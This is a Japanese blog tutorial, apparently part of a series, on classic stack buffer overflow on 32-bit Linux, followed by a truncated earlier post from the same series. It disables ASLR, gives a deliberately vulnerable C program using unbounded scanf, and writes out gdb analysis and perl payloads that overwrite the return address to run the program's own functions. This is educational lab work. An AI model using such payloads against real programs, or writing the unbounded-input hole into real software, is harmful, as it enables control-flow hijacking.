バッファオーバーフロー脆弱性について ③リターンアドレスを任意の関数の先頭に書き換える

前回でやったこと

taichisouma.hatenablog.com

今回はバッファオーバーフローを用いてリターンアドレスを任意の関数の先頭に書き換えることをやっていきたいと思う。

実行環境

実行環境は下記の通り。

$ uname -a
Linux kali 4.9.0-kali3-amd64 #1 SMP Debian 4.9.18-1kali1 (2017-04-04) x86_64 GNU/Linux
$ gcc --version
gcc (Debian 6.3.0-18) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

ASLRを無効化する

Address Space Layout Randomization (ASLR)はスタックやヒープ、共有ライブラリなどをメモリに配置するときにアドレスの一部をランダム化することで攻撃者がアドレスを推測するのを困難にするセキュリティ機構である。
今回の実験ではASLRが有効状態だとうまく実験が行えないので無効化する。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

使用するプログラム

下記に今回使用するプログラムを示す。

#include <stdio.h>

void hacking1(void){
    printf("Hacking!\n\n");
}

void hacking2(void){
    printf("Hacking! Hacking!\n\n");
}

void hacking3(void){
    printf("Hacking! Hacking! Hacking!\n\n");
}

int main(int argc, char *argv[]){
    int  var1 = 1;
    char var2[8];
  
    printf("var1's address                    : %p\n",   &var1);
    printf("var2's address                    : %p\n",   var2);
    printf("var2's size                       : %d\n\n", sizeof(var2));
    
    printf("saved ecx's address               : %p\n",   &var1 + 1);
    printf("saved ebx's address               : %p\n",   &var1 + 2);
    printf("saved ebp's address               : %p\n\n", &var1 + 3);
    
    printf("var1's values                     : %d\n\n", var1);
    printf("saved ecx's values - 4            : %p\n",   *(&var1 + 1) - 4);
    printf("saved ecx's values                : %p\n",   *(&var1 + 1));
    printf("saved ebx's values                : %p\n",   *(&var1 + 2));
    printf("saved ebp's values                : %p\n",   *(&var1 + 3));
    printf("refer to saved ecx's values - 4   : %p\n\n", *((int *)(*(&var1 + 1) - 4)));
    
    printf("input for var2                 >>> ");
    scanf("%s", var2);
    
    printf("var1's values                     : %d\n\n", var1);
    printf("saved ecx's values - 4            : %p\n",   *(&var1 + 1) - 4);
    printf("saved ecx's values                : %p\n",   *(&var1 + 1));
    printf("saved ebx's values                : %p\n",   *(&var1 + 2));
    printf("saved ebp's values                : %p\n",   *(&var1 + 3));
    printf("refer to saved ecx's values - 4   : %p\n\n", *((int *)(*(&var1 + 1) - 4)));
    printf("\n\n\n\n\n");

    return 0;
}

関数のエピローグを見てみる

gdbデバッガ用いて逆アセンブルして関数のエピローグを見てみる。

$ gdb -q ./local_variables1-2
Reading symbols from ./local_variables1-2...done.
(gdb) list
10  
11  void hacking2(void){
12      printf("Hacking! Hacking!\n\n");
13  }
14  
15  
16  
17  void hacking3(void){
18      printf("Hacking! Hacking! Hacking!\n\n");
19  }
(gdb) 
20  
21  
22  
23  int main(int argc, char *argv[]){
24      int  var1 = 1;
25      char var2[8];
26    
27      printf("var1's address                    : %p\n",   &var1);
28      printf("var2's address                    : %p\n",   var2);
29      printf("var2's size                       : %d\n\n", sizeof(var2));
(gdb) break 26
Breakpoint 1 at 0x6c5: file local_variables1-2.c, line 26.
(gdb) r
Starting program: /home/study/BufferOverflow/LocalVariables/local_variables1-2 

Breakpoint 1, main (argc=1, argv=0xffffd314) at local_variables1-2.c:27
27      printf("var1's address                    : %p\n",   &var1);
(gdb) disas main
Dump of assembler code for function main:
   0x565556a1 <+0>:   lea    ecx,[esp+0x4]
   0x565556a5 <+4>:   and    esp,0xfffffff0
   0x565556a8 <+7>:   push   DWORD PTR [ecx-0x4]
   0x565556ab <+10>:  push   ebp
   0x565556ac <+11>:  mov    ebp,esp
   0x565556ae <+13>:  push   ebx
   0x565556af <+14>:  push   ecx
   0x565556b0 <+15>:  sub    esp,0x10
   0x565556b3 <+18>:  call   0x565554f0 <__x86.get_pc_thunk.bx>
   0x565556b8 <+23>:  add    ebx,0x1948
   0x565556be <+29>:  mov    DWORD PTR [ebp-0xc],0x1
=> 0x565556c5 <+36>:   sub    esp,0x8
   0x565556c8 <+39>:  lea    eax,[ebp-0xc]
   0x565556cb <+42>:  push   eax
   0x565556cc <+43>:  lea    eax,[ebx-0x1654]
   0x565556d2 <+49>:  push   eax
   0x565556d3 <+50>:  call   0x56555460 <printf@plt>
   0x565556d8 <+55>:  add    esp,0x10
   0x565556db <+58>:  sub    esp,0x8
   0x565556de <+61>:  lea    eax,[ebp-0x14]
   0x565556e1 <+64>:  push   eax
   0x565556e2 <+65>:  lea    eax,[ebx-0x162c]
   0x565556e8 <+71>:  push   eax
   0x565556e9 <+72>:  call   0x56555460 <printf@plt>
   0x565556ee <+77>:  add    esp,0x10
   0x565556f1 <+80>:  sub    esp,0x8
   0x565556f4 <+83>:  push   0x8
   0x565556f6 <+85>:  lea    eax,[ebx-0x1604]
   0x565556fc <+91>:  push   eax
   0x565556fd <+92>:  call   0x56555460 <printf@plt>
   0x56555702 <+97>:  add    esp,0x10
   0x56555705 <+100>: lea    eax,[ebp-0xc]
   0x56555708 <+103>: add    eax,0x4
   0x5655570b <+106>: sub    esp,0x8
   0x5655570e <+109>: push   eax
   0x5655570f <+110>: lea    eax,[ebx-0x15d8]
   0x56555715 <+116>: push   eax
   0x56555716 <+117>: call   0x56555460 <printf@plt>
   0x5655571b <+122>: add    esp,0x10
   0x5655571e <+125>: lea    eax,[ebp-0xc]
   0x56555721 <+128>: add    eax,0x8
   0x56555724 <+131>: sub    esp,0x8
---Type <return> to continue, or q <return> to quit---
   0x56555727 <+134>: push   eax
   0x56555728 <+135>: lea    eax,[ebx-0x15b0]
   0x5655572e <+141>: push   eax
   0x5655572f <+142>: call   0x56555460 <printf@plt>
   0x56555734 <+147>: add    esp,0x10
   0x56555737 <+150>: lea    eax,[ebp-0xc]
   0x5655573a <+153>: add    eax,0xc
   0x5655573d <+156>: sub    esp,0x8
   0x56555740 <+159>: push   eax
   0x56555741 <+160>: lea    eax,[ebx-0x1588]
   0x56555747 <+166>: push   eax
   0x56555748 <+167>: call   0x56555460 <printf@plt>
   0x5655574d <+172>: add    esp,0x10
   0x56555750 <+175>: mov    eax,DWORD PTR [ebp-0xc]
   0x56555753 <+178>: sub    esp,0x8
   0x56555756 <+181>: push   eax
   0x56555757 <+182>: lea    eax,[ebx-0x155c]
   0x5655575d <+188>: push   eax
   0x5655575e <+189>: call   0x56555460 <printf@plt>
   0x56555763 <+194>: add    esp,0x10
   0x56555766 <+197>: lea    eax,[ebp-0xc]
   0x56555769 <+200>: add    eax,0x4
   0x5655576c <+203>: mov    eax,DWORD PTR [eax]
   0x5655576e <+205>: sub    eax,0x4
   0x56555771 <+208>: sub    esp,0x8
   0x56555774 <+211>: push   eax
   0x56555775 <+212>: lea    eax,[ebx-0x1530]
   0x5655577b <+218>: push   eax
   0x5655577c <+219>: call   0x56555460 <printf@plt>
   0x56555781 <+224>: add    esp,0x10
   0x56555784 <+227>: lea    eax,[ebp-0xc]
   0x56555787 <+230>: add    eax,0x4
   0x5655578a <+233>: mov    eax,DWORD PTR [eax]
   0x5655578c <+235>: sub    esp,0x8
   0x5655578f <+238>: push   eax
   0x56555790 <+239>: lea    eax,[ebx-0x1508]
   0x56555796 <+245>: push   eax
   0x56555797 <+246>: call   0x56555460 <printf@plt>
   0x5655579c <+251>: add    esp,0x10
   0x5655579f <+254>: lea    eax,[ebp-0xc]
   0x565557a2 <+257>: add    eax,0x8
   0x565557a5 <+260>: mov    eax,DWORD PTR [eax]
   0x565557a7 <+262>: sub    esp,0x8
---Type <return> to continue, or q <return> to quit---
   0x565557aa <+265>: push   eax
   0x565557ab <+266>: lea    eax,[ebx-0x14e0]
   0x565557b1 <+272>: push   eax
   0x565557b2 <+273>: call   0x56555460 <printf@plt>
   0x565557b7 <+278>: add    esp,0x10
   0x565557ba <+281>: lea    eax,[ebp-0xc]
   0x565557bd <+284>: add    eax,0xc
   0x565557c0 <+287>: mov    eax,DWORD PTR [eax]
   0x565557c2 <+289>: sub    esp,0x8
   0x565557c5 <+292>: push   eax
   0x565557c6 <+293>: lea    eax,[ebx-0x14b8]
   0x565557cc <+299>: push   eax
   0x565557cd <+300>: call   0x56555460 <printf@plt>
   0x565557d2 <+305>: add    esp,0x10
   0x565557d5 <+308>: lea    eax,[ebp-0xc]
   0x565557d8 <+311>: add    eax,0x4
   0x565557db <+314>: mov    eax,DWORD PTR [eax]
   0x565557dd <+316>: sub    eax,0x4
   0x565557e0 <+319>: mov    eax,DWORD PTR [eax]
   0x565557e2 <+321>: sub    esp,0x8
   0x565557e5 <+324>: push   eax
   0x565557e6 <+325>: lea    eax,[ebx-0x1490]
   0x565557ec <+331>: push   eax
   0x565557ed <+332>: call   0x56555460 <printf@plt>
   0x565557f2 <+337>: add    esp,0x10
   0x565557f5 <+340>: sub    esp,0xc
   0x565557f8 <+343>: lea    eax,[ebx-0x1464]
   0x565557fe <+349>: push   eax
   0x565557ff <+350>: call   0x56555460 <printf@plt>
   0x56555804 <+355>: add    esp,0x10
   0x56555807 <+358>: sub    esp,0x8
   0x5655580a <+361>: lea    eax,[ebp-0x14]
   0x5655580d <+364>: push   eax
   0x5655580e <+365>: lea    eax,[ebx-0x1440]
   0x56555814 <+371>: push   eax
   0x56555815 <+372>: call   0x56555490 <__isoc99_scanf@plt>
   0x5655581a <+377>: add    esp,0x10
   0x5655581d <+380>: mov    eax,DWORD PTR [ebp-0xc]
   0x56555820 <+383>: sub    esp,0x8
   0x56555823 <+386>: push   eax
   0x56555824 <+387>: lea    eax,[ebx-0x155c]
   0x5655582a <+393>: push   eax
   0x5655582b <+394>: call   0x56555460 <printf@plt>
---Type <return> to continue, or q <return> to quit---
   0x56555830 <+399>: add    esp,0x10
   0x56555833 <+402>: lea    eax,[ebp-0xc]
   0x56555836 <+405>: add    eax,0x4
   0x56555839 <+408>: mov    eax,DWORD PTR [eax]
   0x5655583b <+410>: sub    eax,0x4
   0x5655583e <+413>: sub    esp,0x8
   0x56555841 <+416>: push   eax
   0x56555842 <+417>: lea    eax,[ebx-0x1530]
   0x56555848 <+423>: push   eax
   0x56555849 <+424>: call   0x56555460 <printf@plt>
   0x5655584e <+429>: add    esp,0x10
   0x56555851 <+432>: lea    eax,[ebp-0xc]
   0x56555854 <+435>: add    eax,0x4
   0x56555857 <+438>: mov    eax,DWORD PTR [eax]
   0x56555859 <+440>: sub    esp,0x8
   0x5655585c <+443>: push   eax
   0x5655585d <+444>: lea    eax,[ebx-0x1508]
   0x56555863 <+450>: push   eax
   0x56555864 <+451>: call   0x56555460 <printf@plt>
   0x56555869 <+456>: add    esp,0x10
   0x5655586c <+459>: lea    eax,[ebp-0xc]
   0x5655586f <+462>: add    eax,0x8
   0x56555872 <+465>: mov    eax,DWORD PTR [eax]
   0x56555874 <+467>: sub    esp,0x8
   0x56555877 <+470>: push   eax
   0x56555878 <+471>: lea    eax,[ebx-0x14e0]
   0x5655587e <+477>: push   eax
   0x5655587f <+478>: call   0x56555460 <printf@plt>
   0x56555884 <+483>: add    esp,0x10
   0x56555887 <+486>: lea    eax,[ebp-0xc]
   0x5655588a <+489>: add    eax,0xc
   0x5655588d <+492>: mov    eax,DWORD PTR [eax]
   0x5655588f <+494>: sub    esp,0x8
   0x56555892 <+497>: push   eax
   0x56555893 <+498>: lea    eax,[ebx-0x14b8]
   0x56555899 <+504>: push   eax
   0x5655589a <+505>: call   0x56555460 <printf@plt>
   0x5655589f <+510>: add    esp,0x10
   0x565558a2 <+513>: lea    eax,[ebp-0xc]
   0x565558a5 <+516>: add    eax,0x4
   0x565558a8 <+519>: mov    eax,DWORD PTR [eax]
   0x565558aa <+521>: sub    eax,0x4
   0x565558ad <+524>: mov    eax,DWORD PTR [eax]
---Type <return> to continue, or q <return> to quit---
   0x565558af <+526>: sub    esp,0x8
   0x565558b2 <+529>: push   eax
   0x565558b3 <+530>: lea    eax,[ebx-0x1490]
   0x565558b9 <+536>: push   eax
   0x565558ba <+537>: call   0x56555460 <printf@plt>
   0x565558bf <+542>: add    esp,0x10
   0x565558c2 <+545>: sub    esp,0xc
   0x565558c5 <+548>: lea    eax,[ebx-0x143d]
   0x565558cb <+554>: push   eax
   0x565558cc <+555>: call   0x56555470 <puts@plt>
   0x565558d1 <+560>: add    esp,0x10
   0x565558d4 <+563>: mov    eax,0x0
   0x565558d9 <+568>: lea    esp,[ebp-0x8]
   0x565558dc <+571>: pop    ecx
   0x565558dd <+572>: pop    ebx
   0x565558de <+573>: pop    ebp
   0x565558df <+574>: lea    esp,[ecx-0x4]
   0x565558e2 <+577>: ret    
End of assembler dump.

見るべきところっは"0x565558d9"から"0x565558e2"の命令。
“0x565558d9"は関数のプロローグ時にpushしたecx、ebx、ebpを取り出すためにespの値を変える命令。
"0x565558dc"は関数のプロローグ時にpushしたecxの値をecxに代入する命令。
"0x565558dd"は関数のプロローグ時にpushしたebxの値をebxに代入する命令。
"0x565558de"は関数のプロローグ時にpushしたebpの値をebpに代入する命令。
"0x565558df"はリターンアドレスが格納されているアドレスをespに代入する命令。
"0x565558e2"はespの参照先であるリターンアドレスをeipにpopし、リターンアドレスにジャンプする命令。

すなわち、リターンアドレスを任意の関数の先頭に書き換えるには"0x565558df"の命令で代入されたespの参照先、すなわち[ecx - 0x4]が指し示す値に任意の関数の先頭アドレスを書き換えることで任意の関数を実行させることができる。

リターンアドレスを任意の関数の先頭に書き換えるための準備

リターンアドレスを書き換えるために必要な"ecx(saved ecx) - 0x4"の値を見てみる。

$ ./local_variables1-2
var1's address                    : 0xffffd2bc
var2's address                    : 0xffffd2b4
var2's size                       : 8

saved ecx's address               : 0xffffd2c0
saved ebx's address               : 0xffffd2c4
saved ebp's address               : 0xffffd2c8

var1's values                     : 1

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0xf7e12276

input for var2                 >>> 

“saved ecx - 0x4"の値は"0xffffd2dc"であるので"0xffffd2dc"の参照先に実行したい任意の関数先頭のアドレスを書き込めればよいことがわかる。
今の段階で"saved ecx - 0x4"の値が指し示している参照先は"0xf7e12276"であることが見てわかる。この値がリターンアドレスである。
また、"saved ecx - 0x4"の値"0xffffd2dc"のからsaved ebx’s addressの値"0xffffd2c4"のまでの領域0x18(10進数で24)分をを何かしらの値で埋める必要がある。

次に実行したい任意の関数の先頭アドレスを調べる。
今回使用する関数は関数hacking1と関数hacking2、関数hacking3である。

$ gdb -q ./local_variables1-2
Reading symbols from ./local_variables1-2...done.
(gdb) list
10  
11  void hacking2(void){
12      printf("Hacking! Hacking!\n\n");
13  }
14  
15  
16  
17  void hacking3(void){
18      printf("Hacking! Hacking! Hacking!\n\n");
19  }
(gdb) 
20  
21  
22  
23  int main(int argc, char *argv[]){
24      int  var1 = 1;
25      char var2[8];
26    
27      printf("var1's address                    : %p\n",   &var1);
28      printf("var2's address                    : %p\n",   var2);
29      printf("var2's size                       : %d\n\n", sizeof(var2));
(gdb) 
30      
31      printf("saved ecx's address               : %p\n",   &var1 + 1);
32      printf("saved ebx's address               : %p\n",   &var1 + 2);
33      printf("saved ebp's address               : %p\n\n", &var1 + 3);
34      
35      printf("var1's values                     : %d\n\n", var1);
36      printf("saved ecx's values - 4            : %p\n",   *(&var1 + 1) - 4);
37      printf("saved ecx's values                : %p\n",   *(&var1 + 1));
38      printf("saved ebx's values                : %p\n",   *(&var1 + 2));
39      printf("saved ebp's values                : %p\n",   *(&var1 + 3));
(gdb) break 26
Breakpoint 1 at 0x6c5: file local_variables1-2.c, line 26.
(gdb) r
Starting program: /home/study/BufferOverflow/LocalVariables/local_variables1-2 

Breakpoint 1, main (argc=1, argv=0xffffd314) at local_variables1-2.c:27
27      printf("var1's address                    : %p\n",   &var1);
(gdb) disas hacking1
Dump of assembler code for function hacking1:
   0x56555620 <+0>:   push   ebp
   0x56555621 <+1>:   mov    ebp,esp
   0x56555623 <+3>:   push   ebx
   0x56555624 <+4>:   sub    esp,0x4
   0x56555627 <+7>:   call   0x565558e3 <__x86.get_pc_thunk.ax>
   0x5655562c <+12>:  add    eax,0x19d4
   0x56555631 <+17>:  sub    esp,0xc
   0x56555634 <+20>:  lea    edx,[eax-0x1690]
   0x5655563a <+26>:  push   edx
   0x5655563b <+27>:  mov    ebx,eax
   0x5655563d <+29>:  call   0x56555470 <puts@plt>
   0x56555642 <+34>:  add    esp,0x10
   0x56555645 <+37>:  nop
   0x56555646 <+38>:  mov    ebx,DWORD PTR [ebp-0x4]
   0x56555649 <+41>:  leave  
   0x5655564a <+42>:  ret    
End of assembler dump.
(gdb) disas hacking2
Dump of assembler code for function hacking2:
   0x5655564b <+0>:   push   ebp
   0x5655564c <+1>:   mov    ebp,esp
   0x5655564e <+3>:   push   ebx
   0x5655564f <+4>:   sub    esp,0x4
   0x56555652 <+7>:   call   0x565558e3 <__x86.get_pc_thunk.ax>
   0x56555657 <+12>:  add    eax,0x19a9
   0x5655565c <+17>:  sub    esp,0xc
   0x5655565f <+20>:  lea    edx,[eax-0x1686]
   0x56555665 <+26>:  push   edx
   0x56555666 <+27>:  mov    ebx,eax
   0x56555668 <+29>:  call   0x56555470 <puts@plt>
   0x5655566d <+34>:  add    esp,0x10
   0x56555670 <+37>:  nop
   0x56555671 <+38>:  mov    ebx,DWORD PTR [ebp-0x4]
   0x56555674 <+41>:  leave  
   0x56555675 <+42>:  ret    
End of assembler dump.
(gdb) disas hacking3
Dump of assembler code for function hacking3:
   0x56555676 <+0>:   push   ebp
   0x56555677 <+1>:   mov    ebp,esp
   0x56555679 <+3>:   push   ebx
   0x5655567a <+4>:   sub    esp,0x4
   0x5655567d <+7>:   call   0x565558e3 <__x86.get_pc_thunk.ax>
   0x56555682 <+12>:  add    eax,0x197e
   0x56555687 <+17>:  sub    esp,0xc
   0x5655568a <+20>:  lea    edx,[eax-0x1673]
   0x56555690 <+26>:  push   edx
   0x56555691 <+27>:  mov    ebx,eax
   0x56555693 <+29>:  call   0x56555470 <puts@plt>
   0x56555698 <+34>:  add    esp,0x10
   0x5655569b <+37>:  nop
   0x5655569c <+38>:  mov    ebx,DWORD PTR [ebp-0x4]
   0x5655569f <+41>:  leave  
   0x565556a0 <+42>:  ret    
End of assembler dump.

関数hacking1の先頭アドレスは"0x56555620"
関数hacking2の先頭アドレスは"0x5655564b"
関数hacking3の先頭アドレスは"0x56555676"
であることがわかった。

リターンアドレスを任意の関数の先頭に書き換える

では、初めにリターンアドレスを関数hacking1の先頭アドレスに書き換えてみる。

$ perl -e 'print "aaaaaaaa" . "\x2\x0\x0\x0" . "\xe0\xd2\xff\xff" . "\x0"x24 . "\x20\x56\x55\x56" ;' | ./local_variables1-2
var1's address                    : 0xffffd2bc
var2's address                    : 0xffffd2b4
var2's size                       : 8

saved ecx's address               : 0xffffd2c0
saved ebx's address               : 0xffffd2c4
saved ebp's address               : 0xffffd2c8

var1's values                     : 1

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0xf7e12276

input for var2                 >>> var1's values                     : 2

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0xf7e12200






var1's address                    : 0xffffd2bc
var2's address                    : 0xffffd2b4
var2's size                       : 8

saved ecx's address               : 0xffffd2c0
saved ebx's address               : 0xffffd2c4
saved ebp's address               : 0xffffd2c8

var1's values                     : 1

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0xf7e12276

input for var2                 >>> var1's values                     : 1

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0xf7e12276





!?!?!?!?!? うまくいっていない。

無視して、リターンアドレスを関数hacking2の先頭アドレスに書き換えてみる。

$ perl -e 'print "aaaaaaaa" . "\x2\x0\x0\x0" . "\xe0\xd2\xff\xff" . "\x0"x24 . "\x4b\x56\x55\x56" ;' | ./local_variables1-2
var1's address                    : 0xffffd2bc
var2's address                    : 0xffffd2b4
var2's size                       : 8

saved ecx's address               : 0xffffd2c0
saved ebx's address               : 0xffffd2c4
saved ebp's address               : 0xffffd2c8

var1's values                     : 1

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0xf7e12276

input for var2                 >>> var1's values                     : 2

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0x5655564b






Hacking! Hacking!

Segmentation fault

今度はリターンアドレスを関数hacking2の先頭アドレスに書き換えることができたことが見てわかる。

続いてリターンアドレスを関数hacking3の先頭アドレスに書き換えてみる。

$ perl -e 'print "aaaaaaaa" . "\x2\x0\x0\x0" . "\xe0\xd2\xff\xff" . "\x0"x24 . "\x76\x56\x55\x56" ;' | ./local_variables1-2
var1's address                    : 0xffffd2bc
var2's address                    : 0xffffd2b4
var2's size                       : 8

saved ecx's address               : 0xffffd2c0
saved ebx's address               : 0xffffd2c4
saved ebp's address               : 0xffffd2c8

var1's values                     : 1

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0xf7e12276

input for var2                 >>> var1's values                     : 2

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0x56555676






Hacking! Hacking! Hacking!

Segmentation fault

これまたうまくリターンアドレスを関数hacking3の先頭アドレスに書き換えることができたことが見てわかる。

リターンアドレスを関数hacking1の先頭アドレスに書き換えることができなかった理由

これは後からいろいろと検証してみてわかったことですが、関数hacking1の先頭アドレス"0x56555620"の下二桁である"0x20"を入力するとき"\x20"として入力するが、この値はアスキー文字ではスペースを表すことがわかった。そのため"\x20"から後の入力値は無視されてしまいリターンアドレスを関数hacking1の先頭アドレスに書き換えることができなかった理由である。
実際、リターンアドレスを関数hacking1の先頭アドレスに書き換える実験の結果を見てみると"saved ecx - 4"が指し示す値、すなわちリターンアドレスが"0xf7e12200"をなっていることが見てわかる。
入力文字にスペース(\x20)を入力することで、それ以降の入力文字が無視され終端文字列で終端されていることがわかった。

そこでリターンアドレスを関数hacking1の先頭アドレスの次の命令のアドレスである"0x56555621"として書き換えてみる。

$ perl -e 'print "aaaaaaaa" . "\x2\x0\x0\x0" . "\xe0\xd2\xff\xff" . "\x0"x24 . "\x21\x56\x55\x56" . "a"x10 ;' | ./local_variables1-2
var1's address                    : 0xffffd2bc
var2's address                    : 0xffffd2b4
var2's size                       : 8

saved ecx's address               : 0xffffd2c0
saved ebx's address               : 0xffffd2c4
saved ebp's address               : 0xffffd2c8

var1's values                     : 1

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0xf7e12276

input for var2                 >>> var1's values                     : 2

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0x56555621






Hacking!

Segmentation fault

関数hacking1を実行させることができた。

追記

scanf関数をfgets関数にして実行させてみた結果、"\x20"をスペースとして認識せずにそのまま入力することができました。

使用したプログラム

github.com

バッファオーバーフロー脆弱性について ②Segmentation faultを迂回させる

前回でやったこと

taichisouma.hatenablog.com

なんか、バッファオーバーフローさせるたびに毎回Segmentation faultが発生するし、 Segmentation faultが起こっていると完全にHackしている感じがわかないし、 どうやったらSegmentation faultを迂回することができるんだろうと思い、試行錯誤した結果Segmentation faultを迂回させることができたのでその方法について今回は書いていきたいと思う。

実行環境

実行環境は下記の通り。

$ uname -a
Linux kali 4.9.0-kali3-amd64 #1 SMP Debian 4.9.18-1kali1 (2017-04-04) x86_64 GNU/Linux
$ gcc --version
gcc (Debian 6.3.0-18) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

使用するプログラム1

前回と同様に下記のプログラムを使用する。

#include <stdio.h>

int main(int argc, char *argv[]){
    int  var1 = 1;
    char var2[8];

    printf("var1's address   : %p\n",   &var1);
    printf("var2's address   : %p\n",   var2);
    printf("var2's size      : %d\n\n", sizeof(var2));
    
    printf("var1's values    : %d\n\n", var1);
    
    printf("input for var2 >>> ");
    scanf("%s", var2);

    printf("var1's values    : %d\n\n", var1);

    return 0;
}

gdbデバッガ

gdbデバッガを用いて解析していく。
まずはBreak pointを設定するためにプログラムを表示させる。

$ gdb -q ./local_variables1
Reading symbols from ./local_variables1...done.
(gdb) list
1   #include <stdio.h>
2   
3   
4   
5   int main(int argc, char *argv[]){
6       int  var1 = 1;
7       char var2[8];
8   
9       printf("var1's address   : %p\n",   &var1);
10      printf("var2's address   : %p\n",   var2);
(gdb) 
11      printf("var2's size      : %d\n\n", sizeof(var2));
12      
13      printf("var1's values    : %d\n\n", var1);
14      
15      printf("input for var2 >>> ");
16      scanf("%s", var2);
17  
18      printf("var1's values    : %d\n\n", var1);
19  
20  
(gdb) 
21      return 0;
22  }

Break pointをscanfの入力前の14番と入力後の19番に設定。

(gdb) break 14
Breakpoint 1 at 0x66a: file local_variables1.c, line 14.
(gdb) break 18
Breakpoint 2 at 0x692: file local_variables1.c, line 18.

では、実行してみる。

(gdb) run
Starting program: /home/study/BufferOverflow/LocalVariables/local_variables1 
var1's address   : 0xffffd25c
var2's address   : 0xffffd254
var2's size      : 8

var1's values    : 1


Breakpoint 1, main (argc=1, argv=0xffffd314) at local_variables1.c:15
15      printf("input for var2 >>> ");

次にmain関数のスタックフレームを解析してみる。
スタックポインタレジスタ(exp)とベースポインタレジスタ(ebp)、インストラクションポインタレジスタ(eip)の値を見てみる。

(gdb) info registers esp ebp eip
esp            0xffffd250   0xffffd250
ebp            0xffffd268   0xffffd268
eip            0x5655566a   0x5655566a <main+122>

上記2つの結果を踏まえると、ebpの値がをmain関数のスタックフレームの底のアドレスで、そこから12つ上に変数var1のアドレスが、またその8つ上に変数var2のアドレスがスタック上に存在していることがわかる。
また、espの値はスタック上に存在する変数var2のアドレスの4つ上のアドレスを指していることがわかる。

ここで一つ疑問が芽生える。
SSPを無効化しているのに何故ebpとローカル変数の間に領域があるのだろうか。

SSP無効化されていない説

SSP無効化されていないのではないかと思い、逆アセンブルしてアセンブラを解析してみる。

(gdb) disas main
Dump of assembler code for function main:
   0x565555f0 <+0>:   lea    ecx,[esp+0x4]
   0x565555f4 <+4>:   and    esp,0xfffffff0
   0x565555f7 <+7>:   push   DWORD PTR [ecx-0x4]
   0x565555fa <+10>:  push   ebp
   0x565555fb <+11>:  mov    ebp,esp
   0x565555fd <+13>:  push   ebx
   0x565555fe <+14>:  push   ecx
   0x565555ff <+15>:  sub    esp,0x10
   0x56555602 <+18>:  call   0x565554c0 <__x86.get_pc_thunk.bx>
   0x56555607 <+23>:  add    ebx,0x19f9
   0x5655560d <+29>:  mov    DWORD PTR [ebp-0xc],0x1
   0x56555614 <+36>:  sub    esp,0x8
   0x56555617 <+39>:  lea    eax,[ebp-0xc]
   0x5655561a <+42>:  push   eax
   0x5655561b <+43>:  lea    eax,[ebx-0x18c0]
   0x56555621 <+49>:  push   eax
   0x56555622 <+50>:  call   0x56555440 <printf@plt>
   0x56555627 <+55>:  add    esp,0x10
   0x5655562a <+58>:  sub    esp,0x8
   0x5655562d <+61>:  lea    eax,[ebp-0x14]
   0x56555630 <+64>:  push   eax
   0x56555631 <+65>:  lea    eax,[ebx-0x18a9]
   0x56555637 <+71>:  push   eax
   0x56555638 <+72>:  call   0x56555440 <printf@plt>
   0x5655563d <+77>:  add    esp,0x10
   0x56555640 <+80>:  sub    esp,0x8
   0x56555643 <+83>:  push   0x8
   0x56555645 <+85>:  lea    eax,[ebx-0x1892]
   0x5655564b <+91>:  push   eax
   0x5655564c <+92>:  call   0x56555440 <printf@plt>
   0x56555651 <+97>:  add    esp,0x10
   0x56555654 <+100>: mov    eax,DWORD PTR [ebp-0xc]
   0x56555657 <+103>: sub    esp,0x8
   0x5655565a <+106>: push   eax
   0x5655565b <+107>: lea    eax,[ebx-0x187a]
   0x56555661 <+113>: push   eax
---Type <return> to continue, or q <return> to quit---
   0x56555662 <+114>: call   0x56555440 <printf@plt>
   0x56555667 <+119>: add    esp,0x10
=> 0x5655566a <+122>:  sub    esp,0xc
   0x5655566d <+125>: lea    eax,[ebx-0x1862]
   0x56555673 <+131>: push   eax
   0x56555674 <+132>: call   0x56555440 <printf@plt>
   0x56555679 <+137>: add    esp,0x10
   0x5655567c <+140>: sub    esp,0x8
   0x5655567f <+143>: lea    eax,[ebp-0x14]
   0x56555682 <+146>: push   eax
   0x56555683 <+147>: lea    eax,[ebx-0x184e]
   0x56555689 <+153>: push   eax
   0x5655568a <+154>: call   0x56555460 <__isoc99_scanf@plt>
   0x5655568f <+159>: add    esp,0x10
   0x56555692 <+162>: mov    eax,DWORD PTR [ebp-0xc]
   0x56555695 <+165>: sub    esp,0x8
   0x56555698 <+168>: push   eax
   0x56555699 <+169>: lea    eax,[ebx-0x187a]
   0x5655569f <+175>: push   eax
